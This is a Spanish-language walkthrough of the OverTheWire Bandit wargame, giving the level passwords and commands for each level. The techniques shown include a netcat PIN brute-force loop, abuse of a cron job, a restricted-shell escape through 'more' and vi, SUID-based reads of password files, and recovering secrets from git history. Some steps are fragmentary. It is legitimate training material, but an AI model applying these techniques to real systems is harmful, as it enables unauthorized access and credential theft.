Académique Documents
Professionnel Documents
Culture Documents
org/wargames/
https://github.com/USCGA/writeups/tree/master/overthewire/bandit
https://www.youtube.com/user/RootOfTheNull/playlists
bandit level0
pass bandit0
boJ9jbbUNNfktd78OOpsqOltutMc3MY1
bandit level1
cat /home/bandit1/-
pass CV1DtqXWVFXTvM2F0k09SHz0YwRINYA9
bandit level2
UmHadQclWmgdLOKQ3YNgjWxGoRMb5luK
bandit level3
cd inhere
ls –las
cat .hidden
pIwrPrtPN36QITSp3EQaw936yaFoFgAB
bandit level4
cat /home/bandit4/inhere/-file07
koReBOKuIDDepwhWk7jZC0RTdopnAYKh
bandit level5
./maybehere07/.file2
DXjZPULLxYr17uwoI01bNLQbtFemEgo7
bandit level6
Buscando con las pistas que nos da tenemos muchos archivos que nos da permiso denegado
HKBPTKQnIay4Fw76bEy8PVxKEDQRKTzs
bandit level7
Telemos que usar grep para filtrarlo con la pista que nos da
cvX2JJa4CFALtqS87jk27qwqGhBM9plV
bandit level8
UsvVyFSfZZWbi6wgC7dAFyFuR6jQQUhR
bandit level9
truKLdjsbJ5g7yyJ2X2R0o3a5HQJFuLk
bandit level10
IFukwKGsFW8MOq3IRFqrxE1hxTNEbUPR
bandit level11
https://cryptii.com/rot13
bandit level12
El password esta en un hexdump, utilizamos el programa xxd para hacer un volcado de los
datos.
Mkdir /tmp/usuario/
Xxd –x data.txt > /tmp/usuario/original
Ahora nos vamos a la carpeta y vemos el tipo de archivo que tenemos
file original
original: gzip compressed data, was "data2.bin", last modified: Thu Dec 28 13:34:36 2017,
max compression, from Unix
Lo renombramos.
Mv original original.zip
Al intentar descomprimir de nuevo nos informa de que no puede descomprimir, que probemos
con original.out
Mv original.zip original.out
Ahora si
De esta forma ya tenemos otro tipo de archivo, le abrimos con file para que nos informe
file original
original: POSIX tar archive (GNU)
tar xf original
ahora nos sale otro archivo llamado data5.bin que también es un tar y nos devolverá un
data6.bin que es del mismo tipo
bandit level13
Tenemos un archivo con la clave privada ssh de bandit14, lo utilizamos para conectarnos a la
maquina desde el
4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e
bandit level14
The password for the next level can be retrieved by submitting the password of the current
level to port 30000 on localhost.
nc -v localhost 30000
login
Por lo que volvemos a entrar con nc, pegamos la password y damos a intro.
nc -v localhost 30000
nc: connect to localhost port 30000 (tcp) failed: Connection refused
Connection to localhost 30000 port [tcp/*] succeeded!
4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e
Correct!
BfMYroe26WYalil77FoDi9qh59eK5xNr
bandit level15
The password for the next level can be retrieved by submitting the password of the
current level to port 30001 on localhost using SSL encryption.
Correct!
cluFn7wTiGryunymYOu4RcffSxQluehd
bandit level16
The credentials for the next level can be retrieved by submitting the password of the current
level to a port on localhost in the range 31000 to 32000
bandit level17
There are 2 files in the homedirectory: passwords.old and passwords.new. The password for
the next level is in passwords.new and is the only line that has been changed between
passwords.old and passwords.new
Nos conectamos por ssh con la clave rsa que obtuvimos en el nivel anterior, en caso de que
nos diga que los permisos de la clave con muy abiertos cambiarlos.
42c42
< 6vcSC74ROI95NqkKaeEC2ABVMDX9TyUr
---
> kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd
bandit level18
no podemos iniciar sesión por ssh por lo que tendremos que mandar los comandos desde este
bandit level19
bandit level20
This program will connect to the given port on localhost using TCP. If it receives the correct
password from the other side, the next password is transmitted back.
Conecta con un puerto tcp y cuando recibe el pass correcto desde otro lado devuelve el pass
del siguiente nivel.
Nos conectamos 2 veces al mismo servidor por ssh dejando 2 consolas con conexiones
abiertas.
Nc –l 4444
Desde el otro usamos suconect para conectarnos con el equipo local y el puerto que usamos
en nc 4444
./suconect 4444
Si escribimos la clave en el lado del suconect no hace nada, pero si la ponemos en el lado
donde tenemos el nc abierto recibiremos la clave.
gE269g2h3mw3pwgrj0Ha9Uoqen1c9DGr
bandit level21
Nos informa de que un programa se ejecuta en intervalos regulares con crom, que miremos en
/etc/crom.d/ para ver la configuración
Dicho y echo nos vamos al directorio crom para ver que tenemos
bandit21@bandit:/etc/cron.d$ ls
#!/bin/bash
Yk7owGAcWjwMVRwrTesJEwB7WVOiILLI
bandit level22
Look in /etc/cron.d/ for the configuration and see what command is being executed.
cat /etc/cron.d/cronjob_bandit23
cat /usr/bin/cronjob_bandit23.sh
#!/bin/bash
myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)
Podemos comprobar que guarda en la variable $myname el usuario actual, hace el calculo de
la suma md5 para extraer la contraseña y crear el archivo con ella
8ca319486bfbbc3663ea0fbe81326349
8ca319486bfbbc3663ea0fbe81326349
cat /tmp/8ca319486bfbbc3663ea0fbe81326349
jc1udXuA1tiHqjIsL8yaapX5XIAI6i0n
bandit23
cat /usr/bin/cronjob_bandit24.sh
#!/bin/bash
myname=$(whoami)
cd /var/spool/$myname
echo "Executing and deleting all scripts in /var/spool/$myname:"
for i in * .*;
do
if [ "$i" != "." -a "$i" != ".." ];
then
echo "Handling $i"
timeout -s 9 60 ./$i
rm -f ./$i
fi
done
Nos creamos un script en la ruta que nos indica que copiara la clave a una carpeta que
tengamos acceso
nano /var/spool/bandit24/miband.sh
#!/bin/bash
bandit24
A daemon is listening on port 30002 and will give you the password for bandit25 if given the
password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the
pincode except by going through all of the 10000 combinations, called brute-forcing.
Como nos dice que es un pincode de 4 dígitos nos creamos un script con un bucle que pruebe
las distintas combinaciones.
#!/bin/bash
for i in {0000..9999}
do
$i
echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" | netcat localhost
30002
done
Bandit25
Logging in to bandit26 from bandit25 should be fairly easy… The shell for user bandit26 is not
/bin/bash, but something else. Find out what it is, how it works and how to break out of it.
Al entrar nos encontramos con la clave privada para poder conectarnos con la siguiente
maquina, nos intentamos conectar por ssh pero se cierra la sesión nada mas abrir.
cat /usr/bin/showtext
#!/bin/sh
export TERM=linux
more ~/text.txt
exit 0
Ya que se cierra la conexión antes de mostrarnos todo el texto utilizaremos el comando more
Hacemos la pantalla lo mas pequeña que podamos para que nos nos muestre todo y
ejecutamos el comando more con la conexión a la maquina
Una vez que nos salga el texto, pulsamos la tecla v y después : para poder introducir comandos
dentro del editor, una vez echo esto escribimos:
:set shell sh=/bin/bash
:sh
Para obtener una Shell y ya podemos leer el archivo de pass
cat /etc/bandit_pass/bandit26
5czgV9L3Xx8JPOyRbXh6lQbmIOWvPT6Z
Bandit26
Este nivel es exactamente igual que el anterior, solo que al entrar tienes un suid que interpreta
los comandos como bandit27 con el cual listaremos la pass.
./bandit27-do
Run a command as another user.
Example: ./bandit27-do id
bandit26@bandit:~$ ./bandit27-do id
uid=11026(bandit26) gid=11026(bandit26) euid=11027(bandit27) groups=11026(bandit26)
bandit26@bandit:~$ ./bandit27-do cat /etc/passwd
passwd passwd-
bandit26@bandit:~$ ./bandit27-do cat /etc/bandit_pass/bandit27
3ba3118a22e93127a4ed485be72ef5ea
bandit26@bandit:~$
Bandit27
Tenemos que obtener la pass de un repositorio utilizando git, nos creamos una carpeta que
/tmp/ que tengamos permisos de escritura, clonamos el repositorio y visualizamos el archivo
README.
Bandit 28
Primera parte igual que la anterior, clonamos el repositorio, pero al ver el REAMDE no tiene la
clave, después:
Utilizamos las versiones de git para ver una versión anterior en la que si se puede ver el pass
git log
git show
commit 196c3edc79e362fe89e0d75cfeef079d8c67beef
Author: Morla Porla <morla@overthewire.org>
Date: Sun Jul 22 14:47:13 2018 +0200
commit 80383714fa509a363756866425b0b697e87824a0
Author: Ben Dover <noone@overthewire.org>
Date: Sun Jul 22 14:47:13 2018 +0200
- username: bandit29
-- password: <TBD>
+- password: bbc96594b4e001778eee9975372716b2
Bandit 29
Al hacer los mismos pasos del anterior nos muestra en el README que no hay password en
producción, por lo que utilizaremos
git brach –a
para ver las distintas ramas, como nos dice que no hay passwords en producción cambiaremos
a la rama dev
Despues ya podemos ver las diferentes versiones que tenemos con git log y en una de ellas nos
saldrá la pass
Bandit 30
Nos descargamos el repo, pero tanto el README como el log están vacios, nos vamos a la
carpeta .git y la investigamos, dentro del archivo packed-refs nos hace referencia a un secret,
por lo que le vamos a ver.
47e603bb428404d265f59c42920d81e5
Bandit 31
Al abrir el README nos habla de un archivo key.txt que no esta ni en el log ni en branch, por lo
que vamos a crear uno para que nos le actualice.
Nano key.txt
Al hacer un key.add nos dice que este tipo de archivos son ignoramos. –f para forzar
Despues hacemos un
Git commit
Git push
Bandit 32
Creamos un directorio en /tmp/ donde tengamos permisos de escritura y nos creamos un
SCRIPT.SH
#!/bin/bash
bash
Ahora le damos permisos de ejecucion
Chmod +x SCRIPT.SH
bandit32@bandit:/tmp/user32$ ~/uppershell
WELCOME TO THE UPPERCASE SHELL
>> ./SCRIPT.SH
bandit33@bandit:/tmp/user32$ cat /etc/bandit_pass/bandit33
c9c3199ddf4121b10cf581a98d51caee
bandit33@bandit:/tmp/user32$